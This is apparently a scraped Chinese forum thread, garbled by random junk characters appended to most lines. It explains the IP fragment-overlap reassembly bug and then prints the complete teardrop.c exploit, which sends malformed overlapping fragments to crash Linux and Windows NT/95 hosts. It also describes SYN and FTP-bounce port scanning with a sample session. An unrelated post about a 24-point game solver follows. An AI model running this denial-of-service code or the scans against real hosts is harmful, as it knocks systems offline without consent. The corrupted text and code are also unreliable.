end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)
) i+ P; P# ]! |$ T: C5 `4 y# U# s- @. `是这样处理的:
2 r8 }, d% \" m7 uif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)7 U0 @$ w7 q) w; H9 l" G& ~
{
5 C: o5 l- P- u3 y8 @$ Y+ Ai = prev-&gt;end - offset;
1 E$ f6 e6 y' x, {  Soffset += i; /* ptr into datagram */
) ^( g! s' Y+ ^, V3 [ptr += i; /* ptr into fragment data */
) ^/ j" B# g8 E( k' e}</P><P>/* Fill in the structure. */
0 L5 W; Y& j8 G" i+ F- \9 H+ p  afp-&gt;offset = offset;
6 v5 a. _5 ^. U/ ^% L6 @3 K" c5 {fp-&gt;end = end;6 n% X' D  |% B8 r% w1 C. Z0 j3 S  g
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:: l. f* p/ u: B  l
第一个碎片:mf=1 offset=0 payload=20# m1 R! S8 U: e" U: ?7 b
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 ! t, R/ I* r% r: S+ i3 O  H
offset=0% ]- b7 ?; j2 V3 ]: w8 E" C
这样第二个碎片的 end=9+10=19
% S; M0 q4 G2 k1 b1 U' Z% woffset=offset+(20-offset)=20
" W# K& J: Q  u+ ?9 s+ Ifp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>2 ], z+ o# d- W
/*
2 m$ B1 e. q8 F* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
( z, @1 f( z  y( e7 Y*
$ ?* ^( ~9 n% M* Linux/NT/95 Overlap frag bug exploit2 `. g+ q4 ^1 d$ s7 F, Y: L  ?8 N9 x
*  b) F( z8 P- Q6 Z" j3 A$ \5 ~4 q
* Exploits the overlapping IP fragment bug present in all Linux kernels and$ O1 ?# K8 a, \% c$ M
* NT 4.0 / Windows 95 (others?)1 m$ s, v; N4 V0 @4 e6 U
*, ]  n/ c- ?0 n
* Based off of: flip.c by klepto" o! I4 X6 Q3 x' y# w; `2 E+ c
* Compiles on: Linux, *BSD*
3 Z, @, C% g+ e- U% ?9 T; G*" h& h+ Z  w" J7 M
* gcc -O2 teardrop.c -o teardrop
8 D9 I4 J  ]  r! S4 j* OR
' {% A$ X: d% q6 D9 P( m0 o0 K* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING) f7 \/ E" Q! d) `0 b7 L  `9 O: a
*/</P><P>#include <STDIO.H>
1 \2 a% b: {! c; P/ M#include <STDLIB.H>3 p7 |; y+ E8 }4 B3 J6 @3 Q
#include <UNISTD.H>/ U6 A# \) s% f% B4 Q' w
#include <STRING.H>; _6 n* k* r" h0 _2 h0 o/ V
#include <NETDB.H>2 F: v- M& J7 A9 C
#include <NETINET in.h>* x5 O* O8 L& U- l9 e) \& J# u
#include <NETINET udp.h>
$ m& D8 j$ E2 ~# b- v# L  k) T#include <ARPA inet.h>
& R( N; f1 G% X( n) l8 L& \1 K#include <SYS types.h>
$ h' u: \, Q) N! g1 ^( {#include <SYS time.h>
8 x0 z# C* b4 j, q& I5 ?" {, K#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING( W: `' `+ U( r/ q: Y+ k2 a
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */* A# s( s; X! P
#define FIX(n) (n)
9 M  r/ I  Y5 X$ {5 f#else /* OpenBSD 2.1, all Linux */
3 U. @- W+ r9 m- b#define FIX(n) htons(n)
3 @  e0 v$ Z" Q& m7 e) @) o#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
+ U, e( ?9 V- v" e#define IPH 0x14 /* IP header size */
( l. M9 n, w" w#define UDPH 0x8 /* UDP header size */1 F- R0 x$ q6 ~7 C1 `
#define PADDING 0x1c /* datagram frame padding for first packet */' b* B8 @% t$ M; w. x
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
8 v( W6 {# l2 ?3 b8 E#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
, \" M+ O7 }7 [8 q* withstand maybe 5 or 10 sometimes... Experiment.
5 S1 k$ H2 T7 S( p' {5 J- o6 f*/</P><P>void usage(u_char *);, [6 }( a3 |* E4 n  ], j
u_long name_resolve(u_char *);9 Y7 C7 \# d( n, ?: V6 E4 k7 m
u_short in_cksum(u_short *, int);
: w; f$ D4 R  D0 V, a' y- t0 z9 w- [void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)3 M0 ^$ H" j/ `0 w7 E. U4 J+ t: D
{5 I& m0 S" J/ {0 I8 S0 b5 h
int one = 1, 6 V' D. m( G5 }( t* G0 H6 e( z
count = 0,
( G. B8 t/ n: J6 p: k5 d9 si,
3 }* D1 y% u6 e/ u# ]3 H) y9 prip_sock;; h) l  l/ f$ [' d! B1 z! [
u_long src_ip = 0, dst_ip = 0;4 v  G# @" C. g; t/ V0 o
u_short src_prt = 0, dst_prt = 0;4 c! ^; @" Y# [
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW1 j1 w; G- ~( s' W
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)$ x( O: ]# B/ @4 Y
{
  I* ]9 p( Z' ~4 E$ K+ B- gperror("raw socket");9 n/ ?$ m9 H" h* S3 [
exit(1);$ t$ m9 }" q% o9 w
}& c4 h* p2 m9 T6 }8 j) n
//由系统处理IP校验和。% ]; l. ?! d) C. ~6 J
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
% ?$ T4 G' ~9 r( B# U& y&lt; 0)
0 @1 S. `  n, A) P9 R+ c% B* h5 i+ i8 _{
/ P5 k" ^  l  W8 Bperror("IP_HDRINCL");) p( u+ Z6 w& U$ B; l
exit(1);% ~% J  Y- ~; S  [8 s- {' t
}</P><P>if (argc &lt; 3) usage(argv[0]);
7 R- `. S" M9 P1 w9 s! {7 Dif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))7 N  l8 G. r2 r4 Z/ g' S1 ?2 H$ b* _
{
# R' q7 G; s8 Q4 n* v* P- i) t" Zfprintf(stderr, "What the hell kind of IP address is that?\n");8 m/ P: I1 W7 ^6 G2 v& i
exit(1);
* F+ E: T$ G9 o; S) ^}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)9 H) U0 {5 l1 e' Y8 @
{* R8 I# {* A: ]; P' I
switch (i)/ [$ |# T( r) G% b' y% v
{0 H' d3 h/ o9 N' i/ Q) m5 `
case 's': /* source port (should be emphemeral) */
. p0 r. H5 D: o4 K' |2 y, f  Osrc_prt = (u_short)atoi(optarg);& Z2 T5 M9 j5 X' X% f$ E
break;- ^& H- V! H; z
case 't': /* dest port (DNS, anyone?) */
! `9 o9 n" y$ w0 v& N7 J4 l& w1 Idst_prt = (u_short)atoi(optarg);
7 D( G" q9 V9 @! y7 Z% H0 Abreak;
! N8 G+ h( v' fcase 'n': /* number to send */
8 @& D$ G7 {' o( Pcount = atoi(optarg);3 e$ A. A% B5 O, |
break;+ m  ~" k3 g3 x+ V: n/ ^
default :  N+ @& g, C0 ?9 R. i8 {
usage(argv[0]);
# n# a* b: K/ l& q' `8 V# o0 W0 i% J# Hbreak; /* NOTREACHED */
8 F( R( Z( s' k; `2 t4 V0 T}
! m+ r% a0 `! I- V: d}</P><P>srandom((unsigned)(time((time_t)0)));# t# o/ A' p5 f5 R
if (!src_prt) src_prt = (random() % 0xffff);8 z$ }- n/ j; ^) X; R# e
if (!dst_prt) dst_prt = (random() % 0xffff);# F0 H. m5 z- i% \, h* L( {
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
9 `* U  Z2 O' S/ `addr.s_addr = src_ip;2 d1 Y( ~! F3 L' ?& X: w7 O
fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);$ ]" U' @! N. n/ H3 Z# Z
addr.s_addr = dst_ip;. j$ d' t6 t, B/ N2 Z7 ~4 s! ]" {' w. W
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);7 v4 N# Q' u: \2 ^8 _3 W( ]
fprintf(stderr, " Amt: %5d\n", count);
( k* p7 g: t* p3 W1 Lfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)( i$ d7 Z, a1 V3 F( Y1 p& M
{3 D4 Y' n9 f8 Y" n
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);: E- g, e% T" x0 h( O
fprintf(stderr, "b00m ");
9 Y- Q$ t1 {( M. {usleep(500);
( |) |4 k. y2 I7 m) w}" {9 q4 _6 L' b8 K
fprintf(stderr, "]\n");; f. h+ E, h. ?& N  v
return (0);
% X1 c0 I& U5 ?, o! N% u, A# L) r}</P><P>/*" t- _% C  X( n/ Q$ T3 F
* Send two IP fragments with pathological offsets. We use an implementation! a1 {( w) D: c* C5 m
* independent way of assembling network packets that does not rely on any of. S/ d2 c% W% R! K
* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
; r$ @, X2 L7 Z  Z% O# V7 n. I0 C*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
& v( k0 x! ^( w- H2 [: Au_short dst_prt); [! N) A' k1 [3 M$ L5 ]+ R
{2 Z; G& g0 @0 k! ~& ~/ i2 E
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */! K0 t2 |& b  n. P- Y( a
u_char byte; /* a byte */
+ z7 [; `9 Z5 i5 z; ^struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;7 q( z2 p/ x. X! l* H2 {  e7 R! `
sin.sin_port = src_prt;5 L$ v* w! I5 d. F' e* V. Y
sin.sin_addr.s_addr = dst_ip;</P><P>/*
1 v" F% w. h; U1 U7 T( D* Grab some memory for our packet, align p_ptr to point at the beginning
) k$ R9 I  R/ K! o, @2 P- U8 W7 S* of our packet, and then fill it with zeros.
2 Y2 j- P% O0 q  E* S/ f*/
0 I7 C" X8 V* @( }packet = (u_char *)malloc(IPH + UDPH + PADDING);
, w* M+ z; m" S( B& f# x. ^p_ptr = packet;
- e' J  q0 r1 G  ~- ebzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
+ @7 W' A( `8 A  ]memcpy(p_ptr, &amp;byte, sizeof(u_char));* k3 c, s2 @; X& ?2 B! g! q
p_ptr += 2; /* IP TOS (skipped) */1 N& q  _2 {, H! |! C" v
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
! p$ k) n+ s# F/ Ip_ptr += 2;. \/ c: |3 S6 S* H/ M2 W0 m+ A
*((u_short *)p_ptr) = htons(242); /* IP id */; [1 \. T4 ^- `1 v2 `- x  i2 `8 j2 g
p_ptr += 2;
5 ~. S2 k  J. E; g*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */( L1 e7 a2 I1 i) s/ {' Z
p_ptr += 2;
5 U( B/ z! T; K6 C. N6 I*((u_short *)p_ptr) = 0x40; /* IP TTL */
" o7 R: S+ K) x$ u4 ~3 s* _6 v8 I( zbyte = IPPROTO_UDP;
3 i3 ]3 ?7 |# U6 c) w! Xmemcpy(p_ptr + 1, &amp;byte, sizeof(u_char));% t7 ~8 N: L$ s3 l
p_ptr += 4; /* IP checksum filled in by kernel */
' w7 v" q1 u5 B6 w, `*((u_long *)p_ptr) = src_ip; /* IP source address */
& S2 R4 c# n; |- c3 T; |p_ptr += 4;( r+ O$ y: M3 H( E5 ^+ M
*((u_long *)p_ptr) = dst_ip; /* IP destination address */0 C/ C6 X1 V0 z
p_ptr += 4;+ z2 @, Q+ [& {" }0 I' c7 ^
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */
' L& p& F( |' y* _" y& b% tp_ptr += 2;
, `6 I8 `+ B+ M) @1 |, U2 K" O*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */* C+ u8 g$ V& b+ ^
p_ptr += 2;
( C; S4 ~& E3 I  X& G*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,' [+ [1 a, g- e/ L: |2 C
sizeof(struct sockaddr)) == -1)
; w; u- g8 Z& Z; I2 u{
6 Y3 g6 |( a, B1 Z  S: Rperror("\nsendto");* A$ M2 t. a; b! R* r
free(packet);
. T9 B4 o' a  J2 `/ j2 xexit(1);
: z5 M$ H5 l0 `: I}</P><P>/* We set the fragment offset to be inside of the previous packet's4 T" t9 R0 F" `7 U
* payload (it overlaps inside the previous packet) but do not include+ H! c; R8 P4 V( ~
* enough payload to cover complete the datagram. Just the header will! W$ ^: R0 E' D% `, l& \
* do, but to crash NT/95 machines, a bit larger of packet seems to work5 \. a5 e: i, V. J+ `) J- P/ F
* better.' L5 q, v# Y  L) @$ d; v3 I
*/. e; p. r; F- i% ~) {
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */
5 b! X* V- \) `1 f0 f*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);( w, U: E- M$ f- k
p_ptr += 4; /* IP offset is 6 bytes into the header */
3 D# P  \2 W3 c7 ]" Z) \# E6 z*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,4 {* a# N4 v$ P4 m" j
sizeof(struct sockaddr)) == -1)
; u7 ~! Z7 N+ v{. _  ?( G7 h+ i
perror("\nsendto");
8 G% y" h  i$ w' _5 h( N# c0 r; }free(packet);- O+ u' f- r* C3 }; L
exit(1);
$ l0 V* H% c6 k; H$ S}- V8 l* h' t' Q3 Q# E$ [7 d+ A
free(packet);
1 w+ [+ P( D: j3 z% y# L}</P><P>u_long name_resolve(u_char *host_name)& i8 d3 r8 c( U+ ?: _) K$ G
{
( t# F$ Z/ `* Q* W) j# `struct in_addr addr;9 l) i  h6 x: C  l
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)+ i: q* Q6 G( g$ H
{3 f6 I& `6 [/ {: v
if (!(host_ent = gethostbyname(host_name))) return (0);
& z# A- K9 t, r9 b, K+ Rbcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);; W9 `1 {8 D" D- e- Y2 l4 K3 c
}
8 h" L! [7 A$ h0 ]1 d1 wreturn (addr.s_addr);
. _/ T5 c* D+ ?' j/ K4 L}</P><P>void usage(u_char *name)
2 ^4 F* X% s: Q' v, l- l) o{  B3 g2 ~( U& a; N
fprintf(stderr,7 R5 O- Q9 D$ G( u& s* {/ N
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",9 t. D- P8 O. P- D# w
name);
0 L! k2 a* A1 i: N6 ^+ |) Y! a* T7 uexit(0);6 I) Y2 F: n) D! x' i
}</P><P>
7 d' B" I3 f4 a' q' r4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:   D$ N! m! {- D3 [" F2 i8 T4 n
(1) Half-open(半打开)/ [3 j  I, B! C# {% T  r7 u
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
0 K! t9 ]" f6 R& U如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner) h% Z, j5 Y, M& {. }# Y
利用了FTP的port命令,例如可以这样作:. m# A  e: F  p) q4 T5 J1 h
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
/ x5 U1 B, e% n值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则; T/ y4 Q- B- k" ~  y3 ]
该端口无服务。
# D" I& \. Q. s2 U: H4 q- otelnet 192.168.1.13 21! ^/ z. z: N! |( @4 P# v4 L8 ^$ S) k
Trying 192.168.1.13...
$ `, i# t) [  D8 f! N  s& |Connected to pp.bricks.org.
6 G: ^. N9 E5 G6 JEscape character is '^]'.9 z& P/ a  v* v
220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
1 L3 C4 P) m; b& \. @" E$ MThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
& E: c4 m2 m$ F331 Guest login ok, send your complete e-mail address as password.% _( ~! h* ?2 u" _( X
pass aa@aa.aa
+ p, z* v  V7 u$ ?230 Guest login ok, access restrictions apply.
5 _) v. I' z& K  H* @: @- }port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.# R1 d) U8 g# N, a5 I
425 Can't build data connection: Connection refused.
: f; f2 u2 P% b) S0 C" L: h# C//该端口未活动
. Z/ x1 B' R& L0 h, V/ [1 q; Y7 g150 Opening ASCII mode data connection for file list.- ?2 t( T8 d& j. g1 Q
226 Transfer complete.1 k) j/ N5 e9 J7 O- Z$ M$ A
//该端口活动中$ r* r: U- _6 u
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
2 ~+ R4 w* v) R0 J- J9 a% ~SYN|FIN ACK or SYN|ACK* RST# P$ ~  w+ L- W; h* U6 V* a
ACK Nothing RST
- T: Q7 `" L! R3 p% P0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport
0 p" i3 ]5 {; m' S+ [0 N# E一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,1 }- o: L, \* v! ]/ n
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认" b- v' Q7 v4 a: W7 p
定它在向你做portscan。</P><P>notes:
2 N& f4 V: g1 r, y2 ~早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
7 w* ?/ \/ Y$ _- p3 q而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
, Q8 Z3 a0 _$ f9 G6 \: y; t都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>1 W6 x9 p3 ~8 i! z3 M3 i1 r4 d" d
  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。
6 l/ y3 s$ c6 Y# O
3 r) _' i' Z; L( e  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 + [  ^  |& I4 M! f
首先穷举的可行性问题。我把表达式如下分成三类——0 y* ^1 f2 ]6 f$ `" I  o
<FONT color=#ff0000>1、 无括号的简单表达式。
, ]8 Y% ?9 D0 V( k; |- K2、 有一个括号的简单表达式。. [! w( P" H$ u; ?* w
3、 有两个括号的较复4、 杂表达式。1 L& V9 v. a) J: q8 h6 E- h
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
) k# F& x  I1 b/ \4 K<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */* e7 H7 |4 P0 B7 @* r
/* c[] 存放四张牌的数组 */
2 _' S( h) d  g6 m" o6 p4 F3 d2 X/* k[] c[]种四张牌的代号,其中k[I]=I+1。
$ f0 Q0 P+ _1 q5 r- e' X9 G) g+ S9 ^用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
4 S' c1 N8 q+ m/* kans[] 暂存生成的排列组合 */
2 Y' p. Q2 l! E/* j 嵌套循环的次数 */
' a$ Q  D1 [$ I/ p7 Yint fans(c,k,ans,kans,j)1 H) y- g, J7 i! l
int j,k[],c[];char ans[],kans[];
  a) L9 ~" Y" E4 k{ int i,p,q,r,h,flag,s[4],t[4][4];
, [/ n+ ~( p9 ~/ Vfor(p=0,q=0;p&lt;4;p++)% V( w" B! A. q5 }8 l+ I
{ for(r=0,flag=0;r<J;R++)+ A* R8 {+ F2 P9 h6 n4 X% d) K
if(k[p]!=kans[r]) flag++;
/ e% N  `9 ~  [3 Yif(flag==j) t[j][q++]=k[p];
- J$ |0 L6 O. ~) }. N5 \0 ?}
( }% q1 i4 [+ ^; b1 P0 hfor(s[j]=0;s[j]&lt;4-j;s[j]++)
' {* F* g; P+ s  [{ kans[j]=t[j][s[j]];( v2 N" Q) r  Z! p- J5 F# D  ^: I
if(j==3) { for(h=0;h&lt;4;h++)) a0 U4 ^4 h# H& ?" Z/ T- I
ans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
4 X( r, ?- J. M# X达式中的位置 */: u* Y) H8 Q% |$ n) _; f* ]4 B
for(h=0;h&lt;3;h++); @: m0 c  ^' P% i
symbol(ans,h); /* 在表达式中添加运算符号 */: _+ M/ B% u: s! m' Y& l4 h
}' G4 I6 u% a$ a5 a: T6 d
else { j++;
5 E, S8 g9 Z3 W2 i0 ^" Jfans(c,k,ans,kans,j);
3 I; G5 {- \8 f. X9 Cj--;0 C3 H$ _, C$ G: F% b1 R! Y
}7 L$ H# T- l/ P" G  {2 d7 }) q; a7 ^
}
: C# L/ V* V- W# u}</FONT>
# N* b1 b: n& s: r6 j
5 f$ }2 z2 p) e. z6 \4 Q0 |  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
% F" a$ G( O+ x3 e+ K5 k- e$ X$ }% i. _. J$ A% k. n
<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/1 g' X! k/ C5 ]5 l; J
int sans(ans,sy,j,h)/ G) \: b+ N' d% q- P5 S- C) i3 N
char ans[],sy[];int j,h;
: i  K! j8 N( `{ int i,p,k[3],m,n; char ktans[20];
& y# n0 g0 N1 g/ E$ |7 ?for(k[j]=0;k[j]&lt;4;k[j]++)' R/ G& p$ j& d4 C4 t
{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
# W' N" _: ?  p- J' f这里的三个运算符号分别存放在1、3、5位*/
8 W) X" b. X# L* S% D; a* Iif(j==2), a6 _' b9 i7 {4 m7 C9 n0 r
{ ans[5]=sy[k[j]];+ M* x4 Y3 W' n2 r0 |  g7 a: j& u! V
/* 此处根据不同的表达式形式再进行相应的处理 */# @) L: e9 X$ p
}+ C. U1 s) t/ _7 ^
else { j++; sans(ans,sy,j--,h); }; `* ^0 T; M- `7 i4 C
}
7 a( O* w- B8 s" i! t}
' n9 {4 ^6 ~% q$ Q5 D, @6 ]$ a6 c8 v4 s7 H  `/ R) d! E( D2 o# G
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。
+ b& x  V0 G2 J9 O: gfor(m=0;m&lt;=4;m+=2)1 v# p. x, z% E# N0 m  X! O
for(n=m+4;n&lt;=8;n+=2)& ^# G; n0 n; S
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。& E$ P" v& Q+ L* e% j9 r" W4 Q
! y  y# }+ p, s0 @' m  Q
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。
/ x4 z  G1 h4 {( K$ U5 G</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。
1 f6 I' E; c/ W3 Y在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
. G. h2 m7 F+ o3 \
0 I( v) _$ k* I- i; k/ }  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。5 K" |# t2 Q: M/ B* N

4 T% j4 r! u% T2 C. X+ {* q  那么作为栈的著名应用,表达式的计算可以有两种方法。
' v% X+ G5 n' e6 b# x/ D
/ S& j4 d, g+ c' i3 w  <FONT color=#ff0000>第一种方法——</FONT>% X2 i$ q6 S, y3 R+ o3 q
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
1 _$ u6 f* }$ l3 H1 t, F3 V& N3 f  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:/ P) z6 P9 I  B* C$ R
1、 若W为操作数
: k" ^% _- M6 T; m2、 则将W压入操作数栈OVS' a9 K; X4 A( `7 b
3、 且继续扫描下一个字符6 n' Z5 |8 D, |) A  D7 K
4、 若W为运算符
' W/ g8 W- d8 X6 j; Q  z8 l" B* F: ]& O1 P5、 则根据运算符的性质做相应的处理:  @' H6 y, P) a: K: j8 F
(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。$ j' g* J( o8 L  p$ G2 E" E: j
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。
1 i; S8 i" c- {; s5 M(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。0 f" o* |& S5 S0 _/ p5 j
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。9 h5 o4 C9 a2 }' b2 ^) f
' j; i6 W9 g2 D8 p$ f' x! A
<FONT color=#ff0000>  第二种方法——</FONT>
% U( R; u- ]7 t  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
) F2 ?9 R/ r, c5 _$ c6 F
8 ?' B( x8 M; W+ p% S) |5 G3 a  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。: F" y3 F7 F% J& x  T( c
$ G2 \* G5 ^8 O, Q$ P+ N  c
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。+ ^$ R3 K/ K/ c. a6 O9 z' n
表达式 波兰表达式
# ?- Z  ]! |7 i1 G" O8 jA-B AB-1 p2 X" l/ Z3 E
(A-B)*C+D AB-C*D+" x8 p4 m+ X1 G9 R3 u) M
A*(B+C/D)-E*F ABCD/+*EF*-
7 I$ v9 E& T! I6 S+ v8 G$ _) Y(B+C)/(A-D) BC+AD-/
. s9 a  }$ F3 _; v+ h  y  |4 _, _  C) `3 g
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。. u* B# K+ z, N. m5 e
2 H* J1 D" r/ X5 o5 o6 @! `
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
& d' `2 c5 Q6 g8 q$ f8 B1 n& M  _- r* U! O" d: D
  下面给出转换和计算的具体实现程序——
